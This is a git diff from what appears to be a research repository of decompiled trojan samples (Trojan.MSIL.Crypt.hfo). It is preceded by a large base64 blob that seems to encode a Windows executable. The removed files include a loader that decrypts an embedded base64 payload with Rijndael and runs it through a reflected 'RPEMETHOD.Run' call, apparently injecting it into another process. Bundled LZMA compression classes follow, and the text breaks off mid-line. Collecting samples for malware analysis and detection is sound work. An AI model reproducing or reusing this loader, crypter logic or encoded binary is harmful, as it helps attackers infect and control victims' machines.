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- Driver.c3W8QeXt6w7YEy5m4K2Fk("IMETHOD", "ibMethod", a6QSn2q4CLt3p8GKy7s9R, new object[1] - { - (object) "drvhostd.exe" - }); - Driver.c3W8QeXt6w7YEy5m4K2Fk("RPEMETHOD", "Run", a6QSn2q4CLt3p8GKy7s9R, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool c3W8QeXt6w7YEy5m4K2Fk( - string Sm72HcMo43Dtz9Q6ZiKs8d5CXp27F, - string Xx5s3DEo8p2J4Tky7Q6GgRq99Y, - Assembly a6QSn2q4CLt3p8GKy7s9R, - object[] r3WSf6q7K2BnHi54) - { - try - { - Type type = a6QSn2q4CLt3p8GKy7s9R.GetType(Sm72HcMo43Dtz9Q6ZiKs8d5CXp27F); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Xx5s3DEo8p2J4Tky7Q6GgRq99Y); - if ((object) method != null) - return (bool) method.Invoke((object) null, r3WSf6q7K2BnHi54); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] Dd2q9SCt46WnM( - string i5STx29HaCk48XqLj6e3J7Wsm7NAr, - string Xa23Lgb4Y9Nen7F8G, - string a6JTg35Fps7ARi29GbW, - string c3W8QeXt6w7YEy5m4K2Fk, - int g2CTa75GjMy3o9DLz86WsRw4n5, - string t7CKj82XwRr46Jb, - int n3C7Zqx5A8KpQo9c2F6Eif) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(t7CKj82XwRr46Jb); - byte[] bytes2 = Encoding.ASCII.GetBytes(a6JTg35Fps7ARi29GbW); - byte[] buffer = Convert.FromBase64String(i5STx29HaCk48XqLj6e3J7Wsm7NAr); - byte[] bytes3 = new PasswordDeriveBytes(Xa23Lgb4Y9Nen7F8G, bytes2, c3W8QeXt6w7YEy5m4K2Fk, g2CTa75GjMy3o9DLz86WsRw4n5).GetBytes(n3C7Zqx5A8KpQo9c2F6Eif / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index 062d85aa..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {75D530C2-B821-4556-8A43-2EA3C753F115} - WinExe - RsServer - 4.7.6.1 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index 72385991..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RsServer", "Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.csproj", "{75D530C2-B821-4556-8A43-2EA3C753F115}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {75D530C2-B821-4556-8A43-2EA3C753F115}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {75D530C2-B821-4556-8A43-2EA3C753F115}.Debug|Any CPU.Build.0 = Debug|Any CPU - {75D530C2-B821-4556-8A43-2EA3C753F115}.Release|Any CPU.ActiveCfg = Release|Any CPU - {75D530C2-B821-4556-8A43-2EA3C753F115}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/AssemblyInfo.cs deleted file mode 100644 index ecd27e1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyProduct("")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/InBuffer.cs deleted file mode 100644 index 7fcf6781..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/OutBuffer.cs deleted file mode 100644 index 677d89c0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CRC.cs deleted file mode 100644 index 365a36fc..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CoderPropID.cs deleted file mode 100644 index 91ab1c4d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/BinTree.cs deleted file mode 100644 index a9349c1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 66139304-A714-4FA8-9C0A-C8FDC6539136 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) 